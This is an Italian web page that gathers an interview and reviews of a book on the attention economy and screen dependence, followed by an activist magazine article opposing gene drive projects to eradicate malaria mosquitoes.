Yves Marry: A problema politico, risposta politica. Desideriamo che la protezione dell’attenzione diventi un nuovo pilastro del progetto di transizione ecologica. L’attenzione è una nuova risorsa rara da proteggere. Proponiamo che siano garantiti tempi e spazi di disconnessione, proponiamo dei “divieti”, anche se la parola fa paura: niente tablet per i bambini di età inferiore ai 3 anni, niente smartphone almeno prima dei 12 anni, per esempio. Desideriamo anche una maggiore prevenzione e, naturalmente, il ricorso a dibattiti democratici sulle scelte tecnologiche, il che sarebbe già un notevole passo avanti. Questa politica potrebbe articolarsi attorno a un nuovo «diritto alla protezione dell’attenzione», mobilitabile per opporsi agli schermi pubblicitari nelle strade, agli schermi nelle scuole, alla pubblicità mirata, alle tecniche di manipolazione delle applicazioni digitali…
Tra poche settimane, i francesi eleggeranno il loro presidente. È già possibile misurare l’impatto politico che questa economia dell’attenzione ha sul nostro sistema democratico?
Florent Souillot: Costretti a immergersi nella guerra per l’attenzione, i nostri rappresentanti politici diventano a loro volta influencer, concentrati sulle nostre emozioni piuttosto che sulla nostra ragione. Tutto porta a credere che le elezioni di aprile (2022) saranno, da questo punto di vista, peggiori delle precedenti. L’ascesa di Éric Zemmour, Donald Trump, Matteo Salvini o Jair Bolsonaro, illustra perfettamente il potere dell’emozione in questa nuova agorà. Il fascismo esisteva prima di Twitter, ma la struttura del dibattito digitale, che favorisce lo scontro netto, gli mette le ali di fronte a tutti i difensori della ragione.
Ma non fraintendiamo: l’obiettivo dei GAFAM è quello di venderci il comfort di una vita individualizzata e digitalizzata, alimentata da immagini, una forma di sicurezza che solo loro sarebbero in grado di offrirci in un momento di pericoli sociali e climatici. In sostanza, l’esatto contrario della democrazia e delle sue lentezze istituzionali, della collettività e delle sofferenze da condividere, di una comunità morale ed empatica.
Perché i giganti del web vogliono renderci dipendenti dagli schermi Intervista di Agathe Perrier a Yves Marry, “Marcelle”, www.marcelle.media.
L’attenzione è l’oro del XXI secolo. Come per il petrolio, le grandi aziende vogliono accaparrarsela. A cominciare dai GAFAM, i giganti del digitale che spendono miliardi per tenerci incollati ai nostri schermi. Un fenomeno pericoloso, che Yves Marry e Florent Souillot analizzano nel loro libro La guerra per l’attenzione. Come non perderla.
I due autori descrivono le conseguenze di una società travolta dal «rullo compressore digitale». Lungi dall’essere un semplice saggio, le sue pagine contengono anche consigli per disconnettersi e, soprattutto, proposte politiche. Perché, come per molte battaglie, il cambiamento non dipende solo dalle azioni individuali, ma anche da un’indispensabile azione politica.
Agathe Perrier: Da dove è nata l’idea di dedicare un libro alla sovraesposizione agli schermi?
Yves Marry: Dalla nostra esperienza sul campo. Per quanto mi riguarda, è stata in Birmania, dove ho vissuto per quattro anni a partire dal 2014. Quando sono arrivato, non c’era Internet per strada, né smartphone. Io che venivo dalla Francia e ne avevo conosciuto lo sviluppo, mi ero riabituato a una vita senza. Mi sono immerso in questa cultura molto sorridente, con persone premurose. Ogni sera suonavo la chitarra sotto casa mia con i miei vicini! Quando la rete internet si è diffusa nel paese, tutti si sono dotati di uno smartphone. Ho letteralmente visto le persone abbassare lo sguardo. Non suonavamo più musica insieme, perché ognuno era davanti al proprio schermo. È stato uno shock. Anche Florent ha vissuto la stessa esperienza in Francia. Abbiamo quindi creato la nostra associazione, Lève les yeux!, per fare educazione popolare, in particolare tra i bambini, per prevenire gli effetti dell’eccessiva esposizione agli schermi e per sensibilizzare l’opinione pubblica. Questo ci ha portato a scrivere questo libro.
Nel libro si trovano sia constatazioni che soluzioni…
Sì. Nel libro si fanno delle constatazioni, piuttosto dure bisogna ammetterlo, su tutti i problemi legati alla dipendenza dal digitale. Obesità, disturbi del sonno e della concentrazione, isolamento, senza contare la messa in pericolo dei legami sociali e del dibattito democratico e l’accelerazione della catastrofe ecologica. L’elenco non è ovviamente esaustivo. Ci siamo basati su ciò che vediamo noi stessi sul campo e che è descritto in molti studi.
Analizza in particolare l’economia dell’attenzione. Come funziona? Come genera denaro? Quali tecniche vengono utilizzate per renderci dipendenti? Perché dietro c’è un vero e proprio progetto economico e politico, ideato dai grandi capi della Silicon Valley: Elon Musk, Bill Gates, Mark Zuckerberg, Jeff Bezos. Infine, facciamo proposte concrete affinché questo libro non sia solo un saggio. Spieghiamo in particolare come la protezione dell’attenzione possa integrarsi in un progetto di transizione ecologica.
Lei parla di «guerra» dell’attenzione. È un termine forte…
È un po’ violento, è vero, ma è giustificato. Bisogna essere consapevoli che è in corso una vera e propria battaglia per attirare la nostra attenzione. Miliardi di euro vengono spesi per catturarla, in primo luogo da coloro che controllano le grandi aziende digitali. Ovviamente i GAFAM – Google, Apple, Facebook, Amazon e Microsoft – ma anche tutti gli attori della lobby digitale. Hanno un grande potere economico e una grande capacità di influenza. Nel loro discorso, la crescita e la transizione ecologica passeranno attraverso il digitale. E hanno tutto l’interesse a perpetuare questa idea. Sostengono che guadagneremo in efficienza energetica, che l’intelligenza artificiale ci consentirà di essere più performanti, efficienti…
Non è così, secondo lei?
Nel libro dimostriamo che si tratta di chiacchiere. I piccoli guadagni in termini di efficienza pesano meno degli effetti contrari, del costo dello stoccaggio dei dati, dell’enorme quantità di oggetti da produrre… Il digitale rappresenta già oggi tra il 3% e il 4% dei gas serra. Con il 5G, l’esplosione degli oggetti connessi, la banda larga – tra le altre cose – la stima salirebbe almeno al 10% entro venti anni. Per non parlare dei rifiuti elettronici di cui non sappiamo cosa fare, e delle terre rare che vanno estratte. Dal punto di vista ecologico, non è sostenibile.
Considerando quanto il digitale occupi un posto centrale nella nostra vita quotidiana, non abbiamo forse già perso questa guerra?
Molti lo pensano, compresi coloro che sono impegnati nella nostra causa. Ci sono motivi per crederlo, basta guardare come è stata gestita la crisi del Covid. Le uniche soluzioni immaginate sono state quelle di accelerare con il digitale. C’è una spinta evidente, che viene chiamata «rullo compressore digitale». Il governo e le istituzioni europee sono convinti dai discorsi di questa industria. Per loro, il digitale è LA soluzione per preservare la crescita.
Ci sono comunque motivi per rimanere ottimisti?
In effetti ci sono motivi per pensare che la guerra non sia persa. Negli ultimi anni si è assistito a un’enorme presa di coscienza ecologica. In particolare tra i giovani, che sono il futuro. E soprattutto in tutto il mondo. I discorsi di propaganda industriale incontrano sempre più resistenza. Se il numero di menti critiche aumenta, se i politici assumono posizioni ambiziose, si può davvero agire.
Questo intervento politico appare indispensabile…
Esattamente. In La guerra dell’attenzione cerchiamo proprio di spiegare che, parallelamente alla prevenzione sul campo, c’è una battaglia politica da combattere. Sensibilizzare le persone ad essere più autonome e ad avere una maggiore distanza critica non è sufficiente, anche se i comportamenti individuali sono importanti. Ciò che fa la differenza sono le soluzioni collettive, come del resto nella lotta contro il cambiamento climatico.
Affogare il cellulare, distruggere gli schermi Delaunay Matthieu, “Mediapart”, blogs.mediapart.fr.
Dopo aver rovinato i nostri corpi con pesticidi, automobili, acqua inquinata, nucleare, grassi e zuccheri, ecco che il tecnocapitalismo – versione 2.0 del capitalismo – si scaglia senza pietà sulla nostra capacità di essere al mondo. La sua ultima vittima: l’attenzione.
Lo intuivamo. Lo sapevamo. Lo vedevamo. Un malessere. Quei colli indolenziti dal sostenere una fronte assorta verso luci blu. Quei pollici doloranti dal toccare interfacce multicolori. Quegli occhi arrossati e cerchiati dal vegliare sulle serie Netflix. Quei bronci debilitanti, rovinati dalle app. L’oggetto di questo malessere aveva un nome: gli schermi. A loro rimanevamo attaccati, come sanguisughe alla mammella di una mucca. Potrebbe essere storia antica. La lettura del libro La guerra per l’attenzione. Come non perderla ci aiuterà a prendere la decisione salvifica di affogare i nostri telefoni cellulari e fracassare i nostri schermi.
Questo libro è la cronaca della perdita di uno dei fondamenti della nostra capacità umana di vivere liberi e bene: l’attenzione. Dopo aver descritto in dettaglio le conseguenze della colonizzazione delle nostre esistenze da parte degli schermi, i suoi autori – membri del collettivo Lève les yeux! – spiegano in dettaglio il prezzo che paghiamo lasciando che distraggano la nostra attenzione. La società senza contatto, l’infanzia con il sonno traumatizzato da incubi alimentati dai social network, la finta democrazia offerta da queste piattaforme, l’illusione della crescita verde o ancora il lavoro dei captologi pagati profumatamente per rubare la nostra attenzione sono i punti centrali di questo testo incisivo. [leggi tutto…]
Ricordiamo il ritornello: «se il digitale ha conseguenze negative sulla nostra esistenza, è perché non siamo educati al suo utilizzo». Ecco perché l’Unione Europea raccomanda di abituarcisi fin dall’infanzia, nel suo Piano d’azione per l’educazione digitale 2021-2027. Altrimenti, saremo ancora una volta in ritardo, e nessuno vuole essere in ritardo. Tutti vogliono guidare il grande mezzo. E se ciò non bastasse, perché siamo decisamente troppo stupidi, allora sarà necessario un maggiore controllo per «combattere le derive del digitale». Se c’è una cosa a cui prestare attenzione nelle tecnologie NBIC (nano, bio, informatiche e cognitive), sono proprio le derive. Non le tecnologie in sé, no, solo le loro derive…
“Deriva” è una bella parola. Secondo il dizionario, significa «allontanarsi dalla propria direzione; andare alla deriva sotto l’effetto del vento, di una corrente». È dolce come le onde trasparenti che lambiscono la sabbia di una spiaggia delle Maldive. Peccato che non corrisponda alla portata del disastro. Detto questo, in ambito militare, si usa per indicare un proiettile «che si allontana dalla traiettoria di tiro». Almeno è più chiaro.
Ma chi decide come proteggerci da queste derive? Lo Stato, ovviamente! Quello stesso Stato che permette al ministro Blanquer di assegnare 350 metri quadri di locali adiacenti al ministero dell’Istruzione al suo amico Stanislas Dehaene. Sapete, quel neuropsicologo, professore al Collège de France, per il quale i bambini «sono supercomputer» a cui bisogna dare «i dati di cui hanno bisogno». Voi pensavate che i bambini avessero bisogno di imparare delle cose e che per farlo avessero bisogno di un’attenzione costante, di metodi didattici vari e di tempo libero. Che antiquati! Date loro dei dati tramite tablet connessi al 5G, lo faranno molto meglio degli esseri umani in carne e ossa!
I lobbisti che bazzicano ai piedi del ministero dell’Istruzione non devono sforzarsi: i politici amano troppo spendere fortune di fondi pubblici per regalare ai loro amministrati gadget prodotti da aziende private. Si sentono importanti non appena parlano di innovazione. Con un iPad in una mano e l’altra che accarezza il collo del loro elettorato, criticano beffardamente «coloro che non sono nulla», gli Amish spaventati dalle onde radio. Uno schermo per ciascuno e la felicità connessa per tutti: ecco a cosa lavora questo bel mondo dall’inizio del XXI secolo.
Ma c’è un dettaglio che queste persone omettono di menzionare e che questo libro vuole ricordare: i loro discendenti non frequentano le stesse scuole della gente comune. Dove studiano non ci sono strumenti digitali. Si usano il gesso e la lavagna, la penna e la carta. E soprattutto, soprattutto, niente internet! Se vi stupite, potrebbero rispondervi che i loro figli «non sono uguali, capite? Sono diversi e probabilmente hanno un alto potenziale». Mentre per i ragazzi delle periferie non è molto grave se seguono corsi online o passano notti in bianco sui loro telefoni. E poi, cosa sono queste insinuazioni? Abbassate piuttosto lo sguardo sul vostro Snapchat o sul vostro account Instagram e lasciate che siano quelli che sanno a dirvi cosa imparare!
Le elezioni imminenti dimostrano ancora una volta che è impossibile contare sulla sinistra ufficiale per occuparsi dell’essenziale: la conservazione delle nostre facoltà cerebrali. È quindi più che mai tempo di agire da soli. È questa la bellezza di questo testo, che nella parte finale offre molteplici proposte per prendere il toro per le corna della disconnessione.
Alla fine di queste righe, si capisce l’imperiosa necessità di disconnettersi. In modo radicale, poiché i metodi soft hanno dimostrato la loro inefficacia. Anche se ci è stato venduto il contrario. Ma questo era prima… quando avevamo ancora schermi e cellulari. Da allora, leggiamo libri. La guerra per l’attenzione, ovviamente, e poi tutti gli altri eccellenti libri che si sono dati la missione di combattere l’inevitabile.
Ed Tech o Ad Tech Alexandre Chollier, “Le courrier”, lecourrier.ch
La guerra per l’attenzione fa parte della moltitudine di libri dedicati alle questioni digitali in generale e alla dipendenza dagli schermi in particolare. Con un tono decisamente critico, delle prese di posizione informate ma soprattutto fondate e articolate su una pratica civica, senza tralasciare le questioni spinose né le soluzioni concrete, questo è senza dubbio un libro da mettere nelle mani e sotto gli occhi di chiunque desideri informarsi, comprendere e agire.
È una lettura che cattura, senza giochi di parole, la nostra attenzione. In particolare la parte dedicata alla captologia, scienza alla base dell’economia dell’attenzione, che è innanzitutto un’economia della cattura. In poche pagine illuminanti, gli autori, Yves Marry e Florent Souillot, tornano sulla svolta operata in seguito alla crisi della bolla Internet del 2000-2001. È in quel momento che la società Google, allora guidata da Eric Schmidt, capisce che per diventare e rimanere una Big Tech dovrà prima diventare e rimanere una Ad Tech, una società la cui attività principale è la pubblicità. Google svilupperà così il suo “ecosistema” in funzione di questo unico obiettivo: offrire sempre più servizi gratuiti per catturare sempre più la nostra attenzione, trasformandola in una merce per gli inserzionisti. Ha funzionato così bene che oggi, quasi vent’anni dopo, e ora sotto l’egida della casa madre Alphabet, Google detiene più di un quarto del mercato mondiale degli annunci online. L’unica ombra, per così dire, è che ora è diventata dipendente da questa attività, da cui ricava oltre l’80% dei suoi proventi (si parla di 147 miliardi di dollari per il 2020), e non è l’unica: Facebook si trova praticamente nella stessa situazione. La concorrenza è agguerrita e bisogna cercare costantemente nuove fonti di attenzione.
Da dove provengono questi dati? Dall’ultimo rapporto di Human Rights Watch (HRW) dedicato alle applicazioni digitali utilizzate in ambito scolastico (Ed Tech). Pubblicato il 25 maggio, lo studio How dare they peep into my private life? (Come osano ficcare il naso nella mia vita privata?) ci mostra un aspetto ancora poco conosciuto del mondo dell’Ed Tech e del ruolo che Google vi svolge, direttamente o indirettamente. Il suo contenuto è a dir poco esplosivo.
Condotto tra marzo e agosto 2021 in 49 paesi, lo studio mostra che, su 164 applicazioni dedicate, 146 offrivano a terzi – principalmente società attive nel settore pubblicitario – un accesso privilegiato ai dati personali degli studenti senza che questi ne fossero consapevoli, né del resto le autorità competenti. Quattro quinti delle applicazioni effettuavano questo tipo di raccolta tramite applicazioni Google. Per quanto riguarda i dati raccolti, molto spesso non si limitavano alle mura della classe virtuale e riguardavano anche familiari e amici.
Se non c’è dubbio che l’urgenza imposta dai vari lockdown in tutto il mondo abbia spinto le autorità a rinunciare a misure precauzionali adeguate, possiamo essere certi che il mondo dell’Ed Tech – di cui Google fa parte – ha saputo cogliere l’occasione che gli è stata offerta. Lo scenario è noto da tempo: si offre all’autorità competente un prodotto, spesso senza che questa debba sborsare denaro, assicurandole che non pone alcun problema di utilizzo. In questo modo, come osserva HRW, si trasferisce il costo dell’operazione sugli studenti, che lo pagheranno rinunciando, loro malgrado, al loro diritto alla privacy. Anche quando i governi hanno sviluppato le proprie applicazioni, si è scoperto che la maggior parte di esse violava tali diritti.
HRW raccomanda che ogni paese, compresi quelli che non sono direttamente interessati da questo studio, conduca immediatamente delle verifiche. Tutti i dati personali raccolti dovrebbero essere identificati e cancellati il più rapidamente possibile. L’ONG ricorda infine un’ovvietà, tuttavia ignorata da molte amministrazioni pubbliche: è normale pagare per uno strumento, digitale o meno. Se è gratuito, è perché il prodotto è la vostra attenzione. In questo caso parliamo di quella dei bambini e dei giovani, la più preziosa di tutte.
Come sterminarle con la biotecnologia “gene drive”
Di Luigi
Da Rivista Malamente, n. 38 (nov. 2025) QUI IL PDF
La zanzara è quell’animale capace di mettere a dura prova anche i più convinti antispecisti. Ah… potersene sbarazzare e godersi l’estate senza la loro fastidiosa presenza! Ma le zanzare non sono tutte uguali. Le specie con cui abbiamo a che fare alle nostre latitudini sono certamente antipatiche ma non potenzialmente letali come quelle in grado di trasmettere la malaria e altre malattie. Quest’ultime pare che stiano per fare una brutta fine: le biotecnologie genetiche hanno trovato il modo di sterminarle, eradicarle, cancellarle dalla faccia della terra. L’applicazione in campo aperto di questa tecnologia (“gene drive”) è davvero alle porte. Ma non è tutto pacifico come sembra. Ogni essere vivente ha il suo ruolo in un ecosistema interconnesso e nessuno sa – ammettono gli stessi scienziati – quali ripercussioni a lungo termine può avere questo intervento. Inoltre, perché limitarsi alle sole zanzare? Altri studi, su altri animali, sono in corso. Non è di buon auspicio nemmeno il fatto che i principali finanziatori di queste ricerche siano, guarda caso, le agenzie militari.
Andrea Crisanti. Come dimenticare questo nome? È stata una delle virostar più in voga ai tempi della pandemia. Ricordiamo, tra l’altro, il suo entusiasmo nel cantare il motivetto di Natale “Sì sì Vax” sulle note di Jingle Bells, «se tranquillo vuoi stare, i nonni non baciare…».[1] Ma il Covid è stato per lui solo un diversivo rispetto al suo principale oggetto di studio: le zanzare. Crisanti, insieme ad altri manipolatori genetici, è infatti uno dei protagonisti di una nuova frontiera biotecnologica: il gene drive. [leggi tutto…]
Le zanzare sono gli animali più letali del mondo. Ne esistono circa 3.500 specie, 50 delle quali sono in grado di trasmettere all’uomo malattie che, ogni anno, causano la morte di circa 700.000 persone. In particolare, le zanzare del genere Anopheles trasmettono il parassita della malaria, quelle del genere Aedes trasmettono infezioni virali come dengue e febbre gialla. Oggi la tecnologia promette di liberarci da tutto questo, ma a quale prezzo?
Chinino e DDT
Già in passato la tecnologia aveva dato prova di saper metter toppe peggiori del buco. Guardando al caso italiano, a cavallo tra Otto e Novecento la malaria che infestava le zone paludose come Agro pontino e Polesine era stata praticamente debellata, grazie al miglioramento delle condizioni igienico-sociali, all’uso di zanzariere, al chinino (sostanza estratta dalla corteccia della Cinchona con cui venivano, tra l’altro, riempiti cioccolatini da regalare ai bambini) e, successivamente, alle famose bonifiche del fascismo. Poi, però, nei difficili anni della Seconda guerra mondiale il problema si era ripresentato.
Cessati i bombardamenti, la soluzione arrivò dall’ultimo ritrovato dei laboratori scientifici che si era visto come sterminasse non solo le zanzare, ma anche i pidocchi e tanti altri infestanti. Parliamo del DDT, che venne copiosamente spruzzato in stalle e abitazioni rurali. Una vera e propria tabula rasa di pulito: casi di malaria ridotti a zero, ma effetti collaterali che possiamo solo immaginare. Rimaneva fuori la Sardegna, ma ancora per poco; ben presto intervennero infatti i finanziamenti della Fondazione Rockfeller che garantirono anche all’isola le sue massicce dosi di insetticida, irrorato copiosamente e a tappeto (solo nel 1978 il DDT verrà messo al bando in Italia). Questa strategia alquanto discutibile verrà replicata pari pari nei decenni successivi nelle aree povere e rurali del mondo, sotto l’egida dell’appena costituita OMS, almeno fino a quando non iniziarono a svilupparsi zanzare resistenti al DDT. Una dinamica che dovrebbe per lo meno insegnarci qualcosa.
Successivamente, alla fine degli anni Novanta, a livello mondiale la strategia di contrasto alla malaria cambia. Con un passo indietro rispetto alla chimica tossica si ritorna agli strumenti che avevano dimostrato efficacia già nel secolo scorso: zanzariere (le zanzare responsabili della malaria pungono principalmente nelle ore serali e notturne, mantenerle fuori casa mentre si dorme si stima apporti una riduzione del 70% delle infezioni), accesso alle cure per tutti, rafforzamento dei sistemi sanitari e delle misure igieniche.
Troppo poco, in anni in cui si stanno realmente mettendo le mani sul DNA degli esseri viventi per piegarlo all’utilità umana: intorno al 2000 Crisanti e altri zanzarologi, dopo stagioni passate a coltivare sciami di insetti, “producono” in laboratorio le prime zanzare geneticamente modificate, impossibilitate a trasmettere la malaria.[2]
Gabbie del Laboratorio di confinamento ecologico del Polo GGB di Terni
Hybris
Passare dal laboratorio al mondo esterno non è però un passo facile, ancor più arduo diffondere la mutazione genetica da un pugno di individui all’intera popolazione mondiale di una certa specie di zanzare. Ma non è tutto. Gli apprendisti stregoni puntano ancora più in alto: usare la genetica per cancellare dalla faccia della terra, una volta per tutte, le specie di zanzare responsabili della trasmissione della malaria. Ovvero sovvertire con un colpo di mano le regole dell’evoluzione perfezionatesi nel corso di milioni e miliardi di anni, perfettamente consapevoli, afferma Crisanti, di «dover affrontare una sfida alla natura di dimensione prometeica».[3]Hybris: insolenza e tracotanza.
È a questo punto che arrivano in soccorso i benefattori. La Fondazione Bill & Melinda Gates stanzia in prima battuta 10 milioni di dollari per sostenere il progetto che viene denominato Target Malaria. Obiettivo: sopprimere la capacità riproduttiva di intere popolazioni di zanzare, al fine di eradicarle.
I primi risultati non sono in realtà entusiasmanti perché, se all’inizio la sterilità si diffonde a macchia d’olio, dopo poche generazioni la natura pareva ribellarsi alla propagazione di questo assoluto svantaggio selettivo. Ma l’uomo – cartesianamente «signore e padrone della natura» – non ci sta. Le leggi che regolano la materia vivente devono piegarsi al suo volere tanto che, dopo ulteriori tentativi e sovvenzioni milionarie, alla fine, la soluzione arriva: si chiama gene drive, o reazione genetica a catena. Per la prima volta diventa possibile deviare il percorso evolutivo di una popolazione di animali dirottandolo verso una rapidissima estinzione.
Gene drive
Il meccanismo gene drive utilizza il CRISPR-Cas9, una tecnologia di editing genomico che permette di modificare il DNA in maniera molto precisa (più o meno…); evitiamo qui di addentrarci nei dettagli tecnici di questa tecnologia, rimandando ad altri articoli che abbiamo pubblicato in passato sulla Rivista.[4] Basti sapere che, in sostanza, il gene drive funziona da acceleratore della diffusione ereditaria di determinate caratteristiche: se in natura un gene ha il 50% di probabilità di essere trasmesso da un genitore a un figlio, se trasportato da un drive le sue possibilità sfiorano il 100%. Pertanto, truccando i dadi delle probabilità, nel giro di qualche generazione (avendo un ciclo vitale di poche settimane, le generazioni di zanzare si susseguono rapidamente) un gene programmato per danneggiare una specie può propagarsi con un effetto domino in tutta la popolazione, fino a farla collassare.
Gli zanzarologi lavorano in due direzioni, spiega Crisanti: «La prima consiste nel distruggere il cromosoma X durante la formazione degli spermatozoi, in modo che nascano solo maschi, che non pungono e non trasmettono la malaria. Lo sbilanciamento nel rapporto tra i sessi è destinato a causare il collasso della popolazione con un effetto domino. La seconda consiste nel distruggere un gene che è coinvolto nella fertilità delle femmine ma è inutilizzato nei maschi, che quindi lo diffondono, trasmettendolo alle femmine che diventano tutte sterili».[5] Riassumendo: si punta a far scomparire le femmine fertili di una specie, portandola di conseguenza all’estinzione.
Nel luglio 2018 Target Malaria ha avviato la Fase 1, ovvero il primo rilascio di insetti geneticamente modificati, nello specifico zanzare di sesso maschile e sterili, a Bana e Sourkoudingan, in Burkina Faso. La Fase 3, che dovrebbe partire nel 2027, dopo aver completato i vari adempimenti burocratici, prevede il rilascio di vere e proprie zanzare gene drive nell’Africa tropicale.
Nel frattempo vanno avanti gli esperimenti di laboratorio condotti da Crisanti & C. Prima su piccola scala, poi nelle grandi gabbie del Polo d’innovazione di genomica, genetica e biologia, a Terni, dove è stato ricreato un ambiente tropicale artificiale.[6] La tecnica ha funzionato, ma quel che si osserva all’interno di un laboratorio di confinamento ecologico dice poco o nulla rispetto a quali saranno le ricadute negli ecosistemi reali. Sponsor e sostenitori della ricerca sul gene drive si sono impegnati ad assicurare degli standard di biosicurezza condivisi e spergiurano che è tutto trasparente e sotto controllo, unicamente diretto al bene collettivo e che ogni passo sarà condiviso con le comunità interessate (ci crediamo, come quando l’oste dice che il vino è buono).[7]
Imprevedibilità
Ma quale sarà l’impatto sull’ambiente diventato, esso stesso, laboratorio di sperimentazione? Sono prevedibili tutte le ricadute, sapendo che lo scambio tra organismi ed ecosistemi è fatto di interazioni complesse che non possono essere ridotte a un meccanicismo genetico progettato a tavolino? Quali effetti ci saranno sulla salute degli altri animali e dell’uomo? Cosa accadrebbe se i geni modificati passassero ad altre specie di zanzara: eventualità giudicata «non trascurabile» secondo alcuni studi?[8]
E ancora: quanto ci vorrà prima che dalle zanzare si passi ad altri animali “nocivi”? Le stime ci dicono che in media il 10-15% dei raccolti si perde a causa dei parassiti: perché non risparmiare pesticidi e sterminarli tutti a forza di “bombe genetiche”? La Nuova Zelanda ha già annunciato l’intenzione di eliminare i ratti, gli opossum e gli ermellini entro il 2050, considerandoli specie invasive che causano enormi danni alla flora e alla fauna locale.[9] Al di là delle ripercussioni incontrollabili sull’intero ecosistema di cui tali animali sono parte integrante, chi può garantire che la sperimentazione non travalichi i confini dell’isola (basta qualche ratto che si imbarca casualmente, o deliberatamente) e finisca per diffondere l’estinzione a livello globale?
C’è un curioso precedente di tentato controllo biologico, fallito con effetti a catena devastanti e inaspettati. Fu quando la Cina di Mao decise di sterminare i passeri nell’ambito della campagna propagandistica contro le “quattro piaghe” promossa dal governo. I passeri, infatti, mangiavano il grano prima del raccolto. Tuttavia, si è scoperto che i passeri mangiavano anche i parassiti agricoli. La Cina si è vista costretta a limitare i danni importando successivamente passeri dalla Russia, ciononostante, la decimazione della popolazione di passeri ha portato a un enorme calo dei raccolti ed è stata probabilmente una delle cause principali della carestia che ha provocato la morte per fame di 30-45 milioni di persone tra il 1958 e il 1962.[10]
Un altro aspetto importante, che indirettamente fa capire molte cose, riguarda i flussi di denaro. Chi è diventato il più grande finanziatore al mondo della ricerca sul gene drive? I militari. La DARPA statunitense (Defense advanced research projects agency) ha investito subito 100 milioni di dollari (due e mezzo andati direttamente a Crisanti) e continua a sostenere gli sviluppi del progetto. Non ci vuole molto per capire come il gene drive, al di là delle zanzare, apra le porte alla possibilità di sviluppare armi biologiche utilizzandolo, ad esempio, per eradicare insetti importanti e benefici per l’agricoltura in una determinata regione. L’interesse dell’agenzia militare statunitense è ovviamente quello di padroneggiare tale tecnologia prima che qualche stato canaglia ci metta le mani…[11]
Queste e altre preoccupazioni attraversano anche gli stessi ambienti della ricerca scientifica. Nel 2016, ricercatori e attivisti riuniti a Cancún per la COP13 della Convenzione sulla diversità biologica (CBD) hanno lanciato un appello all’ONU chiedendo una moratoria sulle ricerche relative al gene drive. Nella lettera A call for conservation with a conscience: no place for gene drives in conservation scrivevano: «Il gene drive ha il potenziale di trasformare radicalmente il nostro mondo naturale e persino il rapporto dell’umanità con esso. […] L’assunzione di un tale potere è una soglia morale ed etica che non deve essere superata senza grande cautela».[12] Niente di particolarmente luddista: quel che chiedevano era solo una migliore valutazione e una regolamentazione della materia, nel solco dei tanti appelli alla prudenza lanciati nel corso dei decenni dagli stessi ricercatori ai loro colleghi (almeno, per quel che riguarda il tema da vicino, dalla Conferenza di Asilomar del 1975 sul DNA ricombinante): tutti scavalcati senza colpo ferire e risoltisi in un nulla di fatto. “Non si può fermare il progresso!” – con le armi e gli armigeri del progresso.
Una nuova proposta di moratoria emerge due anni dopo, alla COP14 (tenutasi in Egitto); proposta rigettata per non aver ottenuto il consenso unanime. Chi rappresentava un paese come l’Uganda in quel contesto? Uomini legati a Target Malaria (che lavorano in stretta collaborazione con il governativo Uganda virus research institute). Ulteriori proposte di moratoria internazionale, inascoltate, emergono anche negli anni successivi.
Un maggior senso di giustizia e moralità lo troviamo invece nell’opposizione dal basso, nei non specialisti che reclamano il diritto di parola dimostrando che c’è ancora una speranza, anche se di fronte alla potenza della tecnoscienza le forze dell’umanità appaiono troppo deboli. Attivisti di Burkina Faso, Senegal, Costa d’Avorio, da anni si stanno mobilitando e battendo per opporsi ai disegni di Target Malaria e della Fondazione Bill & Melinda Gates.[13]
Due documentari – A Question of Consent: Exterminator Mosquitoes in Burkina Faso e Gene Drives in Africa: Civil Society Speaks Out – danno voce all’opposizione della popolazione locale.[14] «Essere le cavie da laboratorio per un esperimento del genere è ragione di grande inquietudine», afferma Daouda Kambe Ouattara, dell’associazione Y’n a Marre. Ali Tapsoba dell’associazione Terre à vie denuncia la mentalità colonialista di Target Malaria: «non possono imporci un modo di curare la malaria senza prima chiedere la nostra opinione», tanto più visti i precedenti. È noto, ad esempio, quali danni abbia causato e come sia poi miseramente fallita l’esperienza di introduzione del cotone geneticamente modificato (Monsanto BT): «sappiamo che quando arriva questa gente, non si muove per il bene della popolazione, ma per i loro interessi», aggiunge Naufou Koussoube, della Fédération national des groupements de Naam. C’è poi una questione di tipo etico sollevata dagli attivisti che si chiedono per quale motivo si spendano miliardi in ricerche che sono potenzialmente pericolose (per la salute, per l’ambiente, e di riflesso potenzialmente dannose per l’economia locale), quando esistono soluzioni indigene per curare la malaria. In primo luogo, si chiedono quindi investimenti nell’igiene, nella bonifica, nella sanificazione dei villaggi.
Intanto, notizia di agosto 2025, il Burkina Faso ha ufficialmente ordinato la sospensione definitiva del progetto Target Malaria, quindi la chiusura dei laboratori e la distruzione dei campioni, opponendosi ai disegni di “neocolonialismo scientifico” della Fondazione Gates e dei suoi accoliti: questi presunti filantropi che investono in tecnologie brevettate e trasformano ogni “causa umanitaria” in un’opportunità finanziaria.[15]
In conclusione, sono in molti a paventare il rischio che qualcosa di irreversibile venga provocato agli ecosistemi africani e mondiali ancora prima che gli scienziati abbiano compreso appieno il funzionamento di questa tecnologia. Ai danni, qualora vi saranno, si risponderà elaborando nuove soluzioni tecnologiche. Con nuovi effetti collaterali imprevisti. E così via. Fino a dove? Ma anche se andasse fortuitamente tutto bene, resta la questione di fondo della distanza insormontabile tra chi vuol continuare a vivere da essere umano e chi rincorre la volontà di potenza: «anche se siete interessati ai problemi dell’Africa – ha detto un attivista africano a un ricercatore del MIT – ciò che ci preoccupa è il mondo che state lasciando».[16]
Per una disamina più approfondita di tutte gli interrogativi emersi in questo articolo si veda il sito della campagna Stop Gene Drive (www.stop-genedrives.eu) che riunisce circa 240 organizzazioni attive nella conservazione della natura, nella protezione dell’ambiente, nel benessere degli animali e nei campi dell’agricoltura e della cooperazione internazionale.
[2] Flaminia Catteruccia [et al.], Stable germline transformation of the malaria mosquito Anopheles stephensi, “Nature”, 405, (2000), p. 959-962, DOI: 10.1038/35016096.
[3] Andrea Crisanti, Reazione genetica a catena: capovolgere le regole dell’evoluzione, Bologna, Il Mulino, 2025, p. 89.
[4] Cfr. E l’uomo creò l’uomo. CRISPR e le nuove frontiere dell’editing genomico, “Rivista Malamente”, n. 25, giu. 2022; Dio è morto in laboratorio, ivi, set. 2023; Verso il transumanesimo: crispizzare bambini, ivi, ott. 2024.
[5]Reazioni genetiche a catena. La frontiera dei “gene drive” parla italiano, intervista ad Andrea Crisanti, <https://crispr.blog>.
[6] Kyros Kyrou [et al.], A CRISPR–Cas9 gene drive targeting doublesex causes complete population suppression in caged Anopheles gambiae mosquitoes, “Nature biotechnology”, 36, (2018), p. 1062-1066, DOI: 10.1038/nbt.4245; Andrew Hammond [et al.], Gene-drive suppression of mosquito populations in large cages as a bridge between lab and field, “Nature communications”, 12, 4589, (2021), DOI: 10.1038/s41467-021-24790-6.
